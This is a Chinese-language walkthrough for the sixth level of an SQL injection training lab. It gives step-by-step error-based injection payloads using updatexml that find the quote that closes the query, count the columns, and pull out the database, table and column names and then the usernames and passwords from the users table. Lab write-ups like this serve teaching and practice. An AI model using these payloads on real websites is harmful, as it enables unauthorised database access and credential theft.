一.判断闭合点
闭合点是"
输入?id=1'页面无变化
输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"
二.判断列数
输入?id=1" order by 3--+页面正常
输入?id=1" order by 4--+页面异常,说明有3列
三.查询数据库
我们先判断回显点,输入?id=1" union select 1,2,3--+
发现没有回显点,我们利用报错注入
输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security
四.查询数据表
输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+
五.查询列名
输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+
六.查询数据
输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+
这里我们发现数据不全,我们就需要用到limit函数
第一个数据:
输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+
第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+
。。。依次类推。。。
以上就是sql靶场第六关的通关攻略!